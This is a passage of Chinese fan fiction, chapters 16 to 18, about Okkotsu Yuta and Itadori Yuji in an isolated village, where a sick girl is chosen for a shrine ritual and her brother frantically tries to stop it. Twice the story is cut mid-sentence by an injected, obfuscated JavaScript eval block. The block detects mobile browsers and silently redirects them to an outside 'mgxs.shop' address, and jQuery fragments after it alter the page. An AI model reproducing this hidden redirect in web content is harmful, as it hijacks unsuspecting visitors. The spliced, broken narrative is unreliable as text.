黑发的孩子一动不动,似乎被这无光的地方摄住,动弹不得。
屋子里太黑了,黯淡到连月光都无法穿透窗户,让银色落满这个略显空旷的地方。
眼泪止不住。
乙骨忧太被丢下了。有人主动剪断了那些红色的丝线,将他从自己的人生中彻底驱逐出去,就像丢弃一个无用之物,就像为植株修剪掉多余的枝叶那样,毫不留情、毫不留恋。
虎杖悠仁感觉到冰冷的手指抚上了自己的脸,就像被嘎哩嘎哩君戳弄着脸颊一样让他浑身一颤。
手指变成了手掌,它们的主人发现无法为他擦掉不停流下的眼泪后,改用柔软的掌心拖住他的双颊。
脸被抬起时,虎杖悠仁终于看清了。
月光被里香挡得严严实实,可逐渐适应了黑暗的双眼让他能够勉强看清那双没有亮光的黑色眼眸。
纯粹的、照不出任何东西的黑色......当他意识到那双眼眸正在像沼泽一样不断拉着他下坠时,逃跑与挣扎已是徒劳。
“别哭啊,”那张熟悉的脸笑着说,可虎杖悠仁却很害怕这样的表情,“别哭,悠仁。”
他的手捉住了乙骨忧太的双臂,却没能将它们扯开。
“我们从来不是独自一人啊。”
虎杖悠仁的手失去了力量。他觉得,乙骨忧太说的是正确的。
但是这句话却比他以往听到过的、从他口中说出过的都要沉重。好重、好沉,它几乎要将他全身都压垮,汲取了他身上所有的力量,所以他才没能让钳住脸颊的双手放开自己。
泪水不知何时已经停止流淌,只留下黏腻湿润的泪痕。
他抬手蹭掉了脸上的眼泪,选择张开双手环抱住了对面的那个人。
16. 第 16 章
从那个晚上开始,雨就下个不停。
村子里几乎都是土路,所以一到雨季就会变得泥泞不堪,从山坡上汇聚而成的水流不停冲刷着本就被雨水侵蚀变得松软的地面,留下了河道一样的沟壑。
乙骨忧太和虎杖悠仁贴着墙体小心翼翼地走着,他们不得不贴靠在一起来抵挡倾斜的雨幕,在身体彻底被淋湿之前赶到了神社。
跨过鸟居和石阶,脚下的路就变得好走了很多。
神社里有很多人,不少人只穿了深色的雨衣,排队在拜殿前准备参拜。他们绕过了众人聚集的地方,进入了社务所,宫司就在屋子里等他们。
“没想到今天居然下雨,”男人拿来一块毛巾递给乙骨忧太擦头发,叮嘱他去换上神社准备的衣服,“不过时间还早,悠仁也去吧。”
虎杖悠仁抱着衣服,跟在乙骨忧太身后走进了房间里。
因为阴雨不断,外面的天空变得灰蒙蒙的,带着些淡淡的黄色。小杂物间里没有灯,窸窸窣窣的布料摩擦声响起时,虎杖悠仁轻声问:“忧太,你想好了吗?”
乙骨忧太弯着的腰一顿,随即叹了口气:“我也不知道......悠仁,你觉得呢?”
虎杖悠仁已经套上了这件有些偏大的见习神官衣袍,手指无意识地扯着衣袖上的线头,含混不清地说:“我也想不明白喔。”
他昨天晚上没怎么睡好,相反乙骨忧太却很快就睡着了。缺少睡眠的结果就是他现在的脑子有些乱糟糟的,一直都想打哈欠。
他抬头瞥了一眼乙骨忧太,发现他就像昨夜什么都没发生一般,正常地睡觉,正常地叫醒自己一起吃早饭。
“那就到时候再说吧,”乙骨忧太歪头挑眉,帮虎杖悠仁调整了一下堆在肩膀处的衣料,“说不定见到那些孩子们,我们就能做出选择了呢。”
是“我”不是“我们”。虎杖悠仁的视线追随着那双抚平褶皱的手,垂着头心道。
里香似乎并不喜欢阴雨天,现在都很安静地待在影子里,对于聚集在神社中的那么多人的反应也还算平和,没有待在仙台时那样处处警惕着。
不过虎杖悠仁很快就将这句话中小小的歧义忘在了脑后。棉麻质感的白色上着简单朴素,下身是浅灰色的袴,两侧的开口有点高,不过因为衣服偏大的缘故,对虎杖悠仁来说是可以忽略的。
他需要在仪式上捧着神馔,等待结果出来。
虎杖悠仁去其他大社玩的时候曾听爷爷讲过,这些有名的神社挑选稚儿的仪式流程严格又漫长,据说有些地方这些神之子还有血脉的要求,相应的仪式会持续很久。对此宫司只是笑着说他们不过走个过场,没有太多的规矩。
“但是大家祈求神明垂怜的心情是千真万确的,只要这份真心没有被玷污就好啊,”男人摸着虎杖悠仁的头发,他们从社务所的侧门离开,走小路去了神乐殿,“神明大人会听到大家的愿望的。”
风吹动了挂在绘马架上的无数木牌,和滴滴答答的雨声混杂在了一起。虎杖悠仁不由得想起了那天看到的那些写在绘马上的愿望。
无论是什么样的愿望,神明大人都会实现吗?
不少大人在教导自己的孩子如何祈福。既要祈求平安无疾,又要祈求吃喝不愁。大人们将手按在孩子们的肩膀上,教他们如何向神明祈求死后能够成佛,往生极乐。那殷殷期盼的模样似乎笃定只要孩子们能够见到神明大人,他们的愿望就一定能被听到。
如果是他的话,虎杖悠仁心想,他发现自己也会许下同样的愿望。身体健康、吃喝不愁,死后灵魂不要变成咒灵留在人间伤害他人,希望自己的家人能够继续幸福下去。
乙骨忧太拽住了虎杖悠仁的手。
一到雨天,他的手就冷得吓人。虎杖悠仁用自己的体温温暖着他,任由那些想法在乱糟糟的脑子里自在游荡。
他们看到了中美,她哥哥却没在她身边。松下那些孩子们将她围在中间,不约而同地望向了乙骨忧太和虎杖悠仁的方向。
虎杖悠仁偏过头,不再让视线瞟向那边。
仪式很快开始了。
乙骨忧太选了中美。
脸色比他们上次见面变得更加苍白的女孩此时脸颊染上了红色,她激动地尖叫了一声,转头迅速和同伴们分享自己的喜悦之情。
虎杖悠仁看得清楚,因为他站在台上,高处总是视野更好一些。落选孩子们的父母看起来都很失望,但又似乎都松了一口气。这样复杂、完全相反的感情出现在了那些大人的脸上,这令虎杖悠仁感到非常疑惑。
真心实意觉得难过、因为落选而嚎啕大哭的孩子也有,这场仪式草草地结束了,刚才满脸复杂的大人们此刻纷纷开始安慰哭泣的孩子,拉着他们很快离开了神社。
此起彼伏的哭声远去后,宫司上前和中美说了些什么,然后女孩就和她的伙伴们告别,跟着男人去了社务所的方向。
“忧太,悠仁,今天辛苦你们,”他们离开神乐殿的时候,宫司和他们说道,“这几天可以好好休息,干些别的事情了哦。”
虎杖悠仁天真地问道:“我们什么时候开始准备祭典?做手工的话,我可以!我有帮爷爷扎过灯笼!”
宫司笑了笑,中美从他身后探出头来。
“祭典?为什么祭典还需要灯笼?”女孩疑惑地说。
“回家去吧,悠仁。”
虎杖悠仁看着他们的背影,手中拿着重新换下来的见习神官的衣服。
“没有灯笼的祭典是什么样的呀?”
乙骨忧太撑起伞,站在门口向他伸出手:“不知道。跟我们已经没关系了哦。”
虎杖悠仁跨过门槛,钻到了伞底下,拉住乙骨忧太的手臂:“希望中美能够治好她的病。”
他们走了一会儿,虎杖悠仁突然说:“我还是想玩捞金鱼,也想吃苹果糖。”
“嗯......祭典那天我们很可能要在神社帮忙,不过可以问问宫司先生能不能让我们提前结束工作,赶在祭典结束之前去逛一逛。”
“好哦!忧太,你说我们能看到烟花吗?”
乙骨忧太觉得有些困难。他总有种不好的预感,却说不清楚这样的直觉究竟来自何处。最终他只能安慰着兴奋地畅想着未来喧闹祭典的虎杖悠仁:“也许是因为村子不大,所以祭典的准备也很轻松吧?没准再等几天,一觉起来就发现街上全是灯笼了呢!”
简直就像是在平安夜等待圣诞老人骑着麋鹿送来惊喜礼物一样。
虎杖悠仁曾经相信真的有圣诞老人存在。临近圣诞的夜晚偶尔他会听到阵阵铃声,直到偶然有一天他发现那不过是扫雪车的轮胎上捆绑的防滑链的声音,美好的幻想就这样破灭了。
但是会送来惊喜的不止有圣诞老人。
“除了夏日祭,我们那里还有冰雪祭,”虎杖悠仁将雨伞撑开放置在玄关处晾着,小跑着打开了浴室的灯,“爷爷一直说要带我去看冰雪祭上的冰雕,但是还没能等到今年冬天他就去世了。”
不知道今年冬天会不会下雪,如果雪不大的话,估计农场也不会举行冰雪祭了吧?
乙骨忧太拆开了他们从杂货店买来的清洁剂,将浴室的窗户打开,又取来了小刷子。
院子后面的杂物堆里有很多没用过的刷子裹在防水布里,算是为数不多他们翻找出来的还算能派上用场的东西。
阴雨让屋子里的空气都变得潮湿起来,好在还有风吹过。
“要戴上口罩吗?”乙骨忧太挤了一些清洁剂到浴缸里,刺激性的气味很快散发出来。虎杖悠仁正在努力让自己的每一根手指都插到橡胶手套相应的地方里,可惜小孩的手指太短,这双属于大人的橡胶手套对他来说和无指手套差不多了。他费力攥着刷子站起身,摇了摇头。
他觉得清洁剂的味道有点莫名的好闻。
和雨后从泥土中散发出来的气味很像。
小心翼翼地跨坐在浴缸的边缘,在乙骨忧太的要求下他没有脱掉雨鞋,这样可以防止腿部的皮肤直接接触到清洁剂。
“真的好大啊,”虎杖悠仁的胸口几乎贴到了自己的大腿上,弯着腰去用小刷子擦浴缸内壁有泛黄污渍的地方,“感觉都可以在里面游泳了哇!”
乙骨忧太站在浴缸外,只是将上半身探到了里面,清理着另一侧的污渍,闻言抽空抬起头,不知怎的就下意识地将视线投射到了粉发孩子的身上。
虎杖悠仁侧着头,看起来就像是躺在自己的腿上一样,发丝全都向一侧顺从地倒下,露出了光滑的额头。琥珀一样的眼睛明目张胆地、隐秘地看着乙骨忧太。
明明看过来的时候那样大胆,却在惊动了乙骨忧太之后猛地缩了回去,眼神有些无措地四处飘荡,最后又悄咪咪地转了回来。
殊不知他这样欲盖弥彰的行为被乙骨忧太全然纳入眼中。
似乎是被他盯得有点不好意思,虎杖悠仁的脸有点红:“......抱歉啦。”
然而令虎杖悠仁没想到的是,他的道歉似乎让对面那个黑发的孩子吓了一跳。这样激烈的反应出乎了虎杖悠仁的意料,也让他直接从原本随意的姿势挺直了身子,有些慌张地问:“怎、怎么啦?!”
“哈哈,没什么,”乙骨忧太忽然笑了起来,主动移开了目光,“悠仁总会让我大吃一惊呢。”
没听明白的孩子歪头疑惑地看着他。
乙骨忧太重新低下头去清理那些污渍。
虎杖悠仁比他更关心他自己,一旦认识到这样的事实,乙骨忧太都会为他的温柔而惊讶。第一次和父母说起那些随处可见的咒灵却没能得到理解的时候,乙骨忧太曾经偷偷地哭泣过。
抱怨过为什么大家都不相信他,怨恨过与众不同的自己。也许是这样的种子早已在他心中落地生根,那通电话只是一场不合时宜却又恰到好处的雨,让它生根发芽、破土而出。
恐怕在根系抓住血肉筑成的土壤时,他就有所察觉吧。等到种子真正长出嫩芽的那一天也只剩尘埃落定的感觉,连哭泣的想法都没有了。
他偷偷转动眼睛,视线落在了跨坐在浴缸边缘,同样弯腰满脸认真地清理着污渍的孩子身上。虎杖悠仁的脸上还带着未完全褪去的浅红,或者那些颜色只是血液因为弯腰低头而堆积在脑袋才显现出来的呢?
乙骨忧太和祈本里香都是相当自私的人,但是他们遇到的这个孩子却与他们不同。虎杖悠仁的每次流泪都是为了他人,而非他自己。
全部,都是为了他人而哭泣。
这些眼泪证明了他并非不明白自己为何要哭。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378155|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“喔!真的都被刷掉了!”虎杖悠仁动作麻利地跑去水池边拉过水管,拧开凉水将清洁剂的泡沫冲掉一些,被他仔细清理过的地方果然变得干净了很多。
“效果好明显!”
“嘿嘿,”虎杖悠仁调整了一下不太合适的手套,转换了阵地,“好哦!这样的话我们晚上就可以泡澡了!”
“之后要好好把清洁剂全都冲掉才行呐。”乙骨忧太还记得杂货店的老板告诫他们在用清洁剂的时候要开窗通风,脏污的沫子一定要冲洗干净才行。
虎杖悠仁嘟囔着:“我记着呢!忧太你好啰嗦啊。”
他拿来一块布将刚才冲洗时残留的水渍擦干,杂货店的老板还说在干燥的时候用清洁剂效果更好。他真的很认真的全都记下来了!
乙骨忧太并不恼,只是露出了如往常一样的笑容。
“悠仁,”他对仍旧精力旺盛地和污渍搏斗的虎杖悠仁说,“以后,这里就是我们的家了。”
虎杖悠仁扬起头,乙骨忧太觉得他的头发似乎有点长了。
“这是当然的呀!”他笃定地说。这里早就是他内心认定的“家”了,能够遮风避雨,还有家人同住。尽管现在还需要到处修修补补,但这些都是需要慢慢来填补的东西,空旷的房间也会随着时间逐渐被生活必需品填满。
虎杖悠仁已经习惯通过不停地认同来让乙骨忧太更快地肯定他自己的想法。黑发的孩子总是对自己不够自信,所以才会一遍又一遍地询问着同样的问题,说着同样的话,企图从旁人口中得到足以支持自己继续前进的动力。
不过,就算要说上一百遍,不、就算要说上一千遍,虎杖悠仁都是很乐意的。
乙骨忧太的眼睛弯成了月牙,笑容看得虎杖悠仁心脏砰砰直跳。
家的组建并没有那么简单,它就像生活一样复杂,两个本应在大人的羽翼下无忧无虑玩耍的孩子却已经开始思考如何让家变得更像家,让生活不只是活下去而已。
清理浴缸只是第一步。
看来院子里的水管也必须要想办法更换一下了,乙骨忧太心想。
要想办法把院子里的井堵住吗?虎杖悠仁的思维跃到了院子里被里香破坏的井口上。
最重要的还是钱。乙骨忧太回想着他和父母住在一起时家里那些不允许孩子触碰的电器,如果有一台洗衣机的话,他们就可以节省下很多力气,冬天也不用担心手会被冻坏。如果有一台微波炉或电饭煲的话,他们就可以尝试自己做饭。如果有一台电视机的话,他们就可以躲在屋子里打发时间。
对了,还有学习。这个村子里没有学校之类的地方,大多数人的识字能力都来自于家中的长辈。在这个地方就算不认识字也没什么关系,很多人到了年纪就会去田里干活,继承家里的工作。也有人选择离开村子去打工,听说也有人会去隔壁那个叫“旧村”的地方和他们做生意。
同为在地图上都找不到的偏远村子,旧村比他们这里要大上不少,附近有个林场,不少年轻人会去那里工作。
学习的话......如果买来书籍,自己学习呢?可能会有些辛苦,但这是乙骨忧太目前能想到最好的方法了。
“如果拜托宫司先生教我们呢?”虎杖悠仁问道。
“如果他有时间的话,”乙骨忧太思索,“应该也可以吧?”
虎杖悠仁点了点头。他们都没有想要逃避学习的想法,倒不是说他们明白那些汉字和数字亦或者是英文字母能给他们的生活带来什么样的改变,只是那天在绘马架前宫司和他们说的话深深影响了他们。
幼稚园的老师们也都和他们说过,学习是能够改变未来的。这件事在那些叮铃当啷敲打着的绘马上体现了出来,又借由宫司之口暴露在了他们面前。
避免在绘马上写下那些可怕的愿望成为他们自己的未来......他们必须要想办法让自己避开那些不可察、不可见的危险沼泽。
不想变成那样能够随口诅咒他人的烂人。
也算是误打误撞,两个孩子从纠缠的、看不清楚的无数条道路中找到了一条趋向正确的通路。
不是为了一定要成为多么优秀的人,而是要至少成为一个真正的人。
母亲在电话里声嘶力竭地控诉这个村子里的人都是疯子......乙骨忧太还没有想明白这句话的意思,但母亲的声调语气让他不寒而栗。
以后,要和悠仁永远留在这个村子里吗?从宫司那里继承神社,然后一辈子留在这里?还是说......他的视线又一次被那头蒲公英一样蓬松的粉色头发和留有黑色发根的后脑勺吸引了。
等到他们都长大一些,有能力赚到更多的钱之后,回到城市里去?
他觉得虎杖悠仁应该更喜欢待在城市里。那里有饮品店、甜品店,还有各种公园和游乐园,比起这样偏僻的乡下要好上太多。过去为了避免伤害他人,他觉得这样偏僻的地方没什么不好。现在为什么想法出现了变化呢?
那个时候他也能和里香安然相处了吧?就算重新回到满是咒灵的世界,应该也没问题了吧?
敏锐地察觉到被注视着的虎杖悠仁扭头,露出一个大大的微笑。
乙骨忧太恍然大悟。
因为他现在想要让这个孩子过得幸福一些。
17. 第 17 章
虎杖悠仁幻想的一觉起来村子里都挂满灯笼、贴满夏日祭活动预告的事情并没有变成现实。
“诶,明天就是祭典了吗?”虎杖悠仁垮着脸,有些失落地说道。
但是街上一盏灯笼都没有,也没有人准备浴衣和棉花糖,大家好像并不怎么期待似的。
虎杖悠仁和乙骨忧太这几天都按时到神社帮忙准备仪式需要的道具,学习相应的礼仪。当他们问起中美的事情时,宫司说那孩子最近病得厉害,几乎只能躺在病床上了。
“......”乙骨忧太垂下头。
男人察觉到他的心思,宽慰道:“因为她的病很严重,所以许下愿望的声音才更加强烈,神明大人会听到她的请求的。”
这次离开神社的时候,他们又一次碰到了中美的哥哥。青年的眼睛下方多了很多青黑,眼球上也爬满了疲惫的血丝。他看上去比从前憔悴了太多,以至于整个人消瘦得过分,脸色阴沉。
虎杖悠仁像往常一样和他打招呼,而青年这次只是瞪着那双眼睛看着他们。他视线太过异常,让乙骨忧太下意识地一把拉过虎杖悠仁护在身后,感受着里香在他脚下的影子里躁动地翻滚着。
青年盯着他们看了许久,这才缓缓说道:“你们......是住在红房子隔壁的吧?你说你叫......乙骨?”
乙骨忧太犹豫着点了点头。青年的声音沙哑无比,嘴角因为上火起了很多红色的水泡。虎杖悠仁从乙骨忧太身后伸出头来,猜想他是因为中美的病才这般憔悴。
忧太生病的时候他也很着急,尤其是自己只能听着他痛苦地呻吟却无能为力。青年是个医生,但是他却没有办法治好自己的妹妹。虎杖悠仁仅仅是想了想就觉得难受极了,青年只会比他更痛苦。
青年抬头看了看神社,什么都没说,转身离开了。
被留在原地的孩子们面面相觑。
今天时间还早,他们经过巨木的时候看到树根之间的神龛前围了不少人。阴雨绵绵,雨点打在他们头顶的伞面上,偶尔能够感觉到从树梢滴落的巨大水滴砸在头上的震感。那些人穿着雨衣,跪在神龛面前祈祷着。
虎杖悠仁在人群中看到了松下。
一路上几乎所有的石像前都有人在参拜,这是虎杖悠仁他们来到这个村子之后见过最多的人。
“这是因为祭典吗?”虎杖悠仁疑惑地问道。
乙骨忧太摇头,久不放晴的天让他总觉得灰仆仆的云飘得太低了,似乎抬手便能触碰到。
凉亭里坐着几个老人,看到他们之后冲这边招了招手。
虎杖悠仁看了看乙骨忧太,然后放开了他的手,踩着积水跑了过去。
老人们和粉发的孩子说着什么,但被周围淅淅沥沥的雨声掩盖了过去,乙骨忧太什么都听不到。这样的天气最适合待在家里什么都不干,也许真是虎杖悠仁说的那样,因为即将到来的祭典,大家才都在这样的天气状况下还要坚持出门了。
虎杖悠仁抱着几颗果子回到了伞下。
“他们说这些是他们送给中美的东西,”他手里的果然还是他们第一次从老人们手中拿到的那种又酸又涩的果实,不过应该不是从巨木上掉下来的,毕竟它们的外表都很完整,从树上掉下来的全都不同程度地腐烂摔坏了,“我们绕个路吧,忧太?”
乙骨忧太没有拒绝。
中美家门口的人比巨木下神龛前围的人还要多。乙骨忧太拉着虎杖悠仁呆立在街角,目瞪口呆地看着那些手持果子的人蜂拥至中美家,几乎要将院门踏破。
这村子里......有这么多人?
虎杖悠仁有些讨厌、有些害怕这样的情景,人们像是沙丁鱼一样挤在狭小的罐头里,高举的手臂尽头是一颗颗熟悉的果实。他低头望着怀中抱着的那几颗果子,嘴巴里忽然泛起了酸涩的味道。圆润饱满的表皮下,难以入口的汁水填满了它们。
雨声、人声、呵斥声和拥挤的脚步声,无数杂音组成了一幅嘈杂又滑稽的画,缓缓在两个孩子们的眼前铺展开。
他们听不清人群在说些什么,中美家的门几乎完全被堵住了。虎杖悠仁拉着乙骨忧太走向后方,爬上一个小坡,他们找到了一扇窗户。
在敲响玻璃许久之后,虎杖悠仁觉得一直拉着的窗帘被人掀起了一条小缝,中美的眼睛从缝中向外张望着,他赶快向她挥了挥手。
窗户被打开了,面色苍白的女孩只露出额头和双眼:“你们也来给我供品吗?好吧......但是我已经有点吃不下啦,每人只能咬一口哦,不然我又该吐了。”
“?”虎杖悠仁疑惑地将手中的果子递了过去:“这是老在凉亭里坐着的婆婆们给你的。”
“供品......是什么?是那些果子吗?他们给你是想让你......吃掉?为什么?”乙骨忧太看着神色倦怠的女孩问道。
中美费力地将那些果子一个个地接过,有些口齿不清地说:“妈妈说果子里有大家想对神明说的话,我吃掉了的话,等见到神明大人的时候就能将大家的愿望一起送过去了。”
她将食指放在唇边,扬起头露出嘴巴:“要小点声哦,妈妈正在前门那边。”
虎杖悠仁捂着嘴巴点头。
“但是,这样你会很辛苦吧?”怪不得她说只能吃一口。不如说能够吃一口已经足够强大了,虎杖悠仁可是咬了一口都没咽下去。
中美点点头,又摇摇头。
她的手扒在窗沿,被飞溅的雨水打湿了。额头的刘海不知道是因为汗水还是雨水变得黏腻打缕,歪七扭八地黏在脑门上:“因为那是大家的愿望啊。如果我不能将它们带到神明大人面前,神明大人就不会来救大家了。”
虎杖悠仁挠挠头,扛着雨伞接近中美,悄悄地说:“那你能帮我们给神明大人带句话吗?就一句,拜托啦!”
中美同意了。她说她最近记性很不好,记不住太复杂的事情,整个人也很容易睡着。
“能够拜托祂让里香成佛吗?她叫祈本里香。这是我们唯一的愿望啦!”虎杖悠仁将祈本里香的名字重复了很多遍,直到中美保证自己已经完全记住了。
虎杖悠仁不知道自己该如何答谢中美,只能保证等祭典结束之后会带着她去抓田螺,教她怎么自己做祭典上卖得很贵的木刻面具。这样的承诺让女孩笑了起来,脸色变得好看了一些。
“中美?你在哪里?快来吃吧,还有很多呢!”女人的声音将孩子们惊动,中美连道别都来不及说就关上了窗户,转身跑走了。
落下的窗帘彻底隔绝了虎杖悠仁和乙骨忧太的视线。
等到他们绕回前门,堵在那里的人数完全不见减少。每个人都举着一颗“寄宿着愿望”的果实,或粗壮、或枯瘦的手臂向前伸着,虎杖悠仁完全被那幅景象震慑住,酝酿了半天,最终还是什么都没说。
乙骨忧太喘息了一声:“居然有这么多人都有求于神明大人......”
他们究竟都许下了什么样的愿望呢?
虎杖悠仁扯扯他的袖子:“我们快走吧,忧太。”
他实在不喜欢这样的景象,总会让他想起以前在小岩井农场里体验喂猪时的不适感。爷爷经常带他去农场玩,有的时候他们会自己带上一些菜叶和馒头之类的东西去喂动物,不过虎杖悠仁只试过几次就对这个活动不再感兴趣,但是他的朋友们都很喜欢。
乙骨忧太带着虎杖悠仁加快脚步远离了那附近。
若说村子里唯一可能属于祭典的氛围,那就是路边随处可见的对着石像和神龛参拜的人吧。虎杖悠仁也终于明白了过来,这次祭典并非他期待的那种夏日祭,没有捞金鱼的活动,也不会燃放烟花,似乎这只是为了祭神的仪式而开展的祭典。
“这样的话,根本不能叫作夏日祭嘛!”回到家后,虎杖悠仁有些失落地抱怨。
“说起来,上次我们去杂货店的时候不是看到那里有卖小烟花棒的吗?要不然我们等到明天祭典结束之后买来玩吧!”乙骨忧太提议道。
“真的吗?!好耶!!忧太你最好了!!”
乙骨忧太的一句话就让失落的虎杖悠仁重新振奋了精神,看着重新变得活泼的粉发孩子,他不由自主地总爱将活泼过头的孩子幻视成各种各样的小动物,当他亮着那双蜜糖一样的眼睛看着自己的时候,似乎还能看到无形的尾巴在身后甩动。
如果悠仁更会撒娇的话,自己绝对无法拒绝吧?乙骨忧太皱着脸想道。这样会很麻烦的......但是,只是想想都无法说出拒绝的话诶。
乙骨忧太就是很喜欢笑起来的虎杖悠仁。
“忧太,你要先洗澡吗?”虎杖悠仁从浴室里探出头来。
尽管浴缸被仔细地清理干净,但他们忘记了最重要的热水的问题。家里的即热式热水器已经很老了,实际每天可用的热水量并不支持他们将热水放满整个浴缸。
所以他们现在还是只能用那个大木桶。
等到祭典的事情结束,乙骨忧太决定抽出时间好好计算一下翻新这个老旧的房屋究竟需要多少钱。最好连带着洗衣机之类的一起算上......但是他们的钱可能不太够。
一个一个来吧。
他们通常是用猜拳的方法来决定谁先洗澡,今天也是一样。
“来猜拳吧。”乙骨忧太说道。
虎杖悠仁背着手走出来,两个孩子对视一眼,异口同声地喊着口号,伸出一只手。
“喔!这次是忧太赢了!”虎杖悠仁举着剪刀手跳了起来,这是这些日子乙骨忧太第一次在猜拳游戏中取得胜利。乙骨忧太本人也不可置信地看着自己握起来的拳头,孩子气地“哇”了一声。
“那今天就是忧太先去!”虎杖悠仁跑到他身后,推着乙骨忧太进了浴室。接热水的水龙头已经连上了水管放到了木桶里,闷热的水蒸气弥漫在浴室里,糊了乙骨忧太一脸。
虎杖悠仁笑嘻嘻地帮他拿来了换洗的衣物,脏衣篓里已经放了好几件,因为这几天下雨所以一直没有找到机会洗衣服,所以他们准备等到祭典结束后一次性洗好。就是希望祭典过后不要一直下雨了。
水池的上面其实还有一面梳妆镜,也被虎杖悠仁踩着凳子仔细地擦过了。乙骨忧太将脖子上挂着戒指的项链取下,小心地放在水池旁的柜子上,迈进了木桶里。
曲腿坐在木桶里,热水刚好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378156|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能够没过脖子,淹到下巴。
怪不得父亲爱去澡堂泡澡,被温热的水体包裹着的时候会让人产生一种安全感,身体仿佛失去了本身的重量,变得轻飘飘的。蒸腾的白气熏着他的脸,隔着浴室的门,乙骨忧太听到有人敲响了他们家的门。
他听见虎杖悠仁从浴室的门口经过,脚步声逐渐变小,隐隐约约地有开门声和交谈声传来。
乙骨忧太微微坐起,侧耳仔细地听了一会儿。
虎杖悠仁的声音时断时续,似乎已经站到了院子里。
他转了个身,水声哗啦啦地响起。
“里香。”带着水滴的手指摸到了放在柜子上的戒指,乙骨忧太主动呼唤了里香的名字。
虎杖悠仁看着眼前语无伦次的青年,为难地紧缩双眉:“......抱歉,我有点听不懂你在说什么?明天的仪式有什么问题吗?是和我们有关的事?”
青年愤怒地睁大眼睛,双手扣住了虎杖悠仁的肩膀,无视他吃痛的声音怒吼道:“不能让她去!为什么你们都不明白呢?!住在红房子里的不是你们家的人吗?!”
他看起来已经近乎疯狂,连眼球都因为无法排解的怨怼而微微凸起。虎杖悠仁根本无法从他的身上看出为乙骨忧太检查身体的那个年轻医生的模样,此时此刻他面目狰狞,像是恶魔一样咆哮着。
虎杖悠仁开始挣扎,他很轻易地就将青年扣住肩膀的双手掰开,向后退去。
“等等、你们不能让她去!是你们选了她,不能让她去!!”
“所以都说了啊,”虎杖悠仁向后伸手,握住了半开的门板,“我根本听不懂你在说什么啊?”
粉发孩子眼中的茫然与无辜刺痛了青年。
走投无路之人发出了绝望的嚎叫,却在试图靠近的时候被一股无形的力量击飞了出去,重重地落在了地上。
“诶?!里香?!等等,忧太!”
在地上摔得七荤八素的青年耳鸣不止,疼痛让他清醒了片刻,捂着抽痛的额头撑起自己的半边身子。
只有两个孩子能够看见的巨大咒灵甩着拳头,后背上的凸起兴奋地耸动着,长着恐怖利齿的口中喷吐着灼热的气息。
“不许、不许你再靠近!!”它的手掌狠狠拍打着地面,脚下传来的震动让半躺在地上的青年不明所以,但却也稍微唤回了一些他的理智。
“......我到底在干什么啊......”
他有些失魂落魄地站起,脚踝处传来阵阵撕裂般的刺痛,可他却无暇顾及。
歪歪扭扭地离开前,他回头看了一眼站在门口的两个孩子。
虎杖悠仁有些担忧地按着乙骨忧太的肩膀,同时不停地安抚着躁动不安的里香。
“不要让里香这么生气哇!忧太!他什么都没做,没事的!”
乙骨忧太的头发还滴着水,未干的黑发黏在脸侧,让瞪视着青年的那双眸子显得更加漆黑凌厉。那根本不像是一个孩子应该拥有的眼神。
直到青年真的走远,逐渐消失在下坡路的尽头,乙骨忧太才叫回了里香,拽着虎杖悠仁回到了家里。
房门被重重地关上,乙骨忧太甚至直接将门反锁了。因为他的动作不似往日那样温和,带着一些说不清道不明的怒意,所以虎杖悠仁乖乖跟在他身后。
“......”
乙骨忧太一抬头就看见虎杖悠仁用那双亮晶晶的眼睛乞求地看着他。
他倒吸了一口气。果然,他根本没办法拒绝这个孩子。
虎杖悠仁将所有的聪明劲都用在了观察乙骨忧太的反应上,见他松开了眉头就知道自己已经成功了一半。
“对不起,”他双手合十举过头顶,甚至差一点就要戳到乙骨忧太的脸上去,“因为是给忧太看病的医生,所以我给他开了门。”
乙骨忧太拍开他的手,拉着兜帽将人拎直,捏捏肩膀叹气道:“我又没在因为这个生气......这里痛吗?”
虎杖悠仁转动刚才被青年抓住的地方,他感觉到了一些细微的痛感,但问题不大,所以扬起笑容回答:“完全不痛!”
不知道乙骨忧太有没有相信他说的话,黑发的孩子问起那个青年的来意。
“我真的不明白他在讲什么,一直说明天不能让中美参加仪式。真是太奇怪了,为什么不能让她去呢?难得被选中了......”他说到这里时看了一眼乙骨忧太,发现对方并没有在意这句话,所以也就放心大胆地继续说下去了:“中美的哥哥看起来和宫司先生认识,他为什么不去找宫司先生呢?”
正常的大人都不会觉得两个孩子能够解决这样迫在眉睫的问题吧?
乙骨忧太沉思了一会儿,问道:“他还......说了什么别的吗?比如原因之类的?”
虎杖悠仁摇头。
就是因为中美的哥哥完全没有理由地找上门来,所以才搞得所有人一头雾水。
“不过,他说‘为什么没有人理解他’,”虎杖悠仁用手指点着下巴,“还提到了红房子。”
“忧太,这到底是怎么一回事啊?”
“......”
根本想不明白。
18. 第 18 章
傍晚的小插曲没有影响到虎杖悠仁的睡眠。
在他酣然入梦后,乙骨忧太却翻来覆去,始终无法入睡。
中美的哥哥是和他们一样,从城里回来的。据说他在东京上医科大学,以后要去医院里当医生。他回来的时间比他们还要晚,虎杖悠仁跑去诊所的那天似乎是他刚刚回到村子里的时候。
乙骨忧太觉得他是为了中美的病才回到村子里的。
不过这样一想,大家如果生病了只需要去向神明大人许愿就能够痊愈,那么这个世界上根本就不需要医生和护士了呀,也不会有人因病而死......虎杖悠仁的爷爷也能长命百岁。
